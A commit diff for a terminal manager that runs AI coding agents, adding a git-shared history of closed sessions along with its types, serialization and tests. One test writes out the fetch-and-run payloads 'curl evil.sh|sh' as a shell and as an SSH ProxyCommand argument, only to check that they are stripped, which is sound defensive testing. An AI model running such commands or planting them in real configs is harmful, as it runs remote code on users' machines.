Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

feat: add git-shared ClosedSessionEntry to project files

Mina Samehc1a9f78f93d5
diff --git a/src/core/workspace-files.closed-history.test.ts b/src/core/workspace-files.closed-history.test.ts
new file mode 100644
index 000000000..5d1a9b8a4
--- /dev/null
+++ b/src/core/workspace-files.closed-history.test.ts
@@ -0,0 +1,70 @@
+import { describe, it, expect } from 'vitest'
+import { projectToFile, fileToProject, validClosedSessions } from './workspace-files'
+import type { ClosedSessionEntry, Project } from '../shared/types'
+
+const closedEntry = (id: string, over: Partial<ClosedSessionEntry['node']> = {}): ClosedSessionEntry => ({
+ id,
+ closedAt: 1000,
+ node: {
+ id: 'term-1', kind: 'terminal', position: { x: 0, y: 0 }, size: { width: 400, height: 300 },
+ title: 'shell', color: '#fff', group: null, cwd: '/tmp/x', ...over
+ },
+ absolutePosition: { x: 0, y: 0 }
+})
+
+const project = (over: Partial<Project> = {}): Project => ({
+ id: 'p1', name: 'foo', color: '#7aa2f7', viewport: { x: 0, y: 0, zoom: 1 }, nodes: [], ...over
+})
+
+describe('closedSessions round trip', () => {
+ it('projectToFile omits an absent/empty closedSessions', () => {
+ const file = projectToFile(project(), 1, 'now')
+ expect(file.closedSessions).toBeUndefined()
+ })
+
+ it('round-trips id/closedAt/cosmetic fields, portable-izing cwd under the project root', () => {
+ const entries = [closedEntry('e1'), closedEntry('e2')]
+ const file = projectToFile(project({ cwd: '/tmp/x', closedSessions: entries }), 1, 'now')
+ // The FILE stores a portable cwd, same as a live node's would — never the absolute path.
+ expect(file.closedSessions?.[0].node.cwd).toBe('.')
+ expect(file.closedSessions?.map((e) => e.id)).toEqual(['e1', 'e2'])
+
+ const loaded = fileToProject(file, { id: 'p1', cwd: '/tmp/x' })
+ // Resolved back to absolute against THIS load's cwd — round-trips to the original.
+ expect(loaded.closedSessions?.[0].node.cwd).toBe('/tmp/x')
+ expect(loaded.closedSessions?.[0].node.title).toBe('shell')
+ expect(loaded.closedSessions?.[0].closedAt).toBe(1000)
+ })
+
+ it('strips shell and ssh.extraArgs/execTrusted from the file, never restoring them without a local record', () => {
+ const dangerous = closedEntry('e1', {
+ shell: 'curl evil.sh|sh',
+ ssh: { host: 'h', user: 'u', extraArgs: ['-oProxyCommand=curl evil.sh|sh'], execTrusted: true } as never
+ })
+ const file = projectToFile(project({ closedSessions: [dangerous] }), 1, 'now')
+ expect(file.closedSessions?.[0].node.shell).toBeUndefined()
+ expect((file.closedSessions?.[0].node.ssh as { extraArgs?: unknown })?.extraArgs).toBeUndefined()
+ expect((file.closedSessions?.[0].node.ssh as { execTrusted?: unknown })?.execTrusted).toBeUndefined()
+
+ // No matching entry in this machine's localExec map ⇒ stays stripped on read too.
+ const loaded = fileToProject(file, { id: 'p1' })
+ expect(loaded.closedSessions?.[0].node.shell).toBeUndefined()
+ expect((loaded.closedSessions?.[0].node.ssh as { extraArgs?: unknown })?.extraArgs).toBeUndefined()
+ })
+
+ it('fileToProject drops a missing or malformed closedSessions to undefined', () => {
+ const file = projectToFile(project(), 1, 'now')
+ const loaded = fileToProject(file, { id: 'p1', cwd: '/tmp/x' })
+ expect(loaded.closedSessions).toBeUndefined()
+
+ const malformed = { ...file, closedSessions: { not: 'an array' } } as never
+ expect(fileToProject(malformed, { id: 'p1', cwd: '/tmp/x' }).closedSessions).toBeUndefined()
+ })
+
+ it('validClosedSessions accepts a well-formed array and rejects garbage', () => {
+ expect(validClosedSessions([closedEntry('e1')])).toBe(true)
+ expect(validClosedSessions([{ id: 'e1' }])).toBe(false) // missing closedAt/node
+ expect(validClosedSessions('nope')).toBe(false)
+ expect(validClosedSessions(undefined)).toBe(false)
+ })
+})
diff --git a/src/core/workspace-files.ts b/src/core/workspace-files.ts
index 277507e28..432363808 100644
--- a/src/core/workspace-files.ts
+++ b/src/core/workspace-files.ts
@@ -7,7 +7,7 @@ import {
stripSharedNodeExec,
type LocalNodeExecMap
} from '../shared/node-exec'
-import type { BridgeLink, CanvasNodeState, NavStop, Project, ProjectKanban, Viewport, Workspace } from '../shared/types'
+import type { BridgeLink, CanvasNodeState, ClosedSessionEntry, NavStop, Project, ProjectKanban, Viewport, Workspace } from '../shared/types'
import { projectCapabilityFields, readProjectCapabilities } from '../shared/project-capabilities'
import { loadedAgentBrowserPartition } from '../shared/browser-partition'
import { sanitizeProjectIcon, type ProjectIcon } from '../shared/project-icon'
@@ -123,6 +123,8 @@ export interface ProjectFileV1 {
agentMessaging?: boolean
dinoHighScore?: number
kanban?: ProjectKanban
+ /** Git-shared closed-session history — see `Project.closedSessions`. */
+ closedSessions?: ClosedSessionEntry[]
}
/** One workspace.json v3 entry. Exactly one of: `cwd` (local ref), `ssh` (remote ref),
@@ -254,6 +256,14 @@ export function projectToFile(
const nodes = sanitizeNodeTriggers(
stripSharedNodeExec(p.cwd ? toPortableNodes(p.nodes, p.cwd) : p.nodes)
)
+ const closedSessions = p.closedSessions?.length
+ ? p.closedSessions.map((e) => ({
+ ...e,
+ node: sanitizeNodeTriggers(
+ stripSharedNodeExec(p.cwd ? toPortableNodes([e.node], p.cwd) : [e.node])
+ )[0]
+ }))
+ : undefined
const icon = sanitizeProjectIcon(p.icon)
return {
version: 1,
@@ -273,7 +283,8 @@ export function projectToFile(
// the acknowledgment is machine-local (IndexEntryV3.capabilityAck) and must never travel.
...projectCapabilityFields(p),
...(p.dinoHighScore ? { dinoHighScore: p.dinoHighScore } : {}),
- ...(p.kanban ? { kanban: p.kanban } : {})
+ ...(p.kanban ? { kanban: p.kanban } : {}),
+ ...(closedSessions ? { closedSessions } : {})
}
}
@@ -289,6 +300,24 @@ export function validKanban(k: unknown): k is ProjectKanban {
)
}
+/** Tolerant-reader guard for `closedSessions`, same shallow-shape rule as `validKanban`: anything
+ * that isn't an array of `{id, closedAt, node}` objects is dropped rather than trusted, so a
+ * legacy/hand-edited file degrades to no history instead of crashing. */
+export function validClosedSessions(x: unknown): x is ClosedSessionEntry[] {
+ return (
+ Array.isArray(x) &&
+ x.every(
+ (e) =>
+ !!e &&
+ typeof e === 'object' &&
+ typeof (e as ClosedSessionEntry).id === 'string' &&
+ typeof (e as ClosedSessionEntry).closedAt === 'number' &&
+ !!(e as ClosedSessionEntry).node &&
+ typeof (e as ClosedSessionEntry).node === 'object'
+ )
+ )
+}
+
/**
* The shared file plus this machine's own half of the project.
*
@@ -349,6 +378,22 @@ export function fileToProject(
...readProjectCapabilities(f),
...(f.dinoHighScore ? { dinoHighScore: f.dinoHighScore } : {}),
...(validKanban(f.kanban) ? { kanban: f.kanban } : {}),
+ ...(validClosedSessions(f.closedSessions)
+ ? {
+ closedSessions: f.closedSessions.map((e) => ({
+ ...e,
+ node: sanitizeNodeTriggers(
+ sanitizeBrowserPartitions(
+ applyLocalNodeExec(
+ base.cwd ? resolveNodes([e.node], base.cwd) : [e.node],
+ base.localExec
+ ),
+ base.id
+ )
+ )[0]
+ }))
+ }
+ : {}),
...(base.cwd ? { cwd: base.cwd } : {}),
...(base.ssh ? { ssh: base.ssh } : {}),
...(base.closed ? { closed: true } : {}),
diff --git a/src/shared/types.ts b/src/shared/types.ts
index 4ccd6b1b0..543aace86 100644
--- a/src/shared/types.ts
+++ b/src/shared/types.ts
@@ -410,6 +410,20 @@ export interface CanvasNodeState {
premaxRect?: { x: number; y: number; width: number; height: number }
}
+/**
+ * One entry in `Project.closedSessions` — everything needed to recreate a fresh node in the same
+ * spot a deleted one used to occupy. `node` is the exact shape a live node is already persisted
+ * as (`CanvasNodeState`); `absolutePosition` is captured at delete time because `node.position`
+ * is relative-to-parent when `node.parentId` is set, and that parent group may not exist by the
+ * time this entry is reopened.
+ */
+export interface ClosedSessionEntry {
+ id: string
+ closedAt: number
+ node: CanvasNodeState
+ absolutePosition: { x: number; y: number }
+}
+
/**
* A snapshot of one canvas's nodes in the form sent over the remote mirror wire.
* Reuses the persisted node shape (`CanvasNodeState`) so host and client agree on layout.
@@ -695,6 +709,13 @@ export interface Project {
* list. Absent/false = an open tab. A closed project never becomes `activeProjectId`.
*/
closed?: boolean
+ /**
+ * Sessions (terminal/agent/sticky/…) deleted from this project, most-recent-first, capped at
+ * 20. Git-shared like `nodes`/`kanban` — reopening a teammate's deleted session is intentional.
+ * A fresh id per entry; recreating a node from one always mints a new node id/session, never
+ * reuses the original (see `recreateNodeFromSnapshot`).
+ */
+ closedSessions?: ClosedSessionEntry[]
/**
* Set at load time when the project's .nodeterm/project.json could not be read
* (folder missing, server unreachable, corrupt file). Runtime-only — never persisted.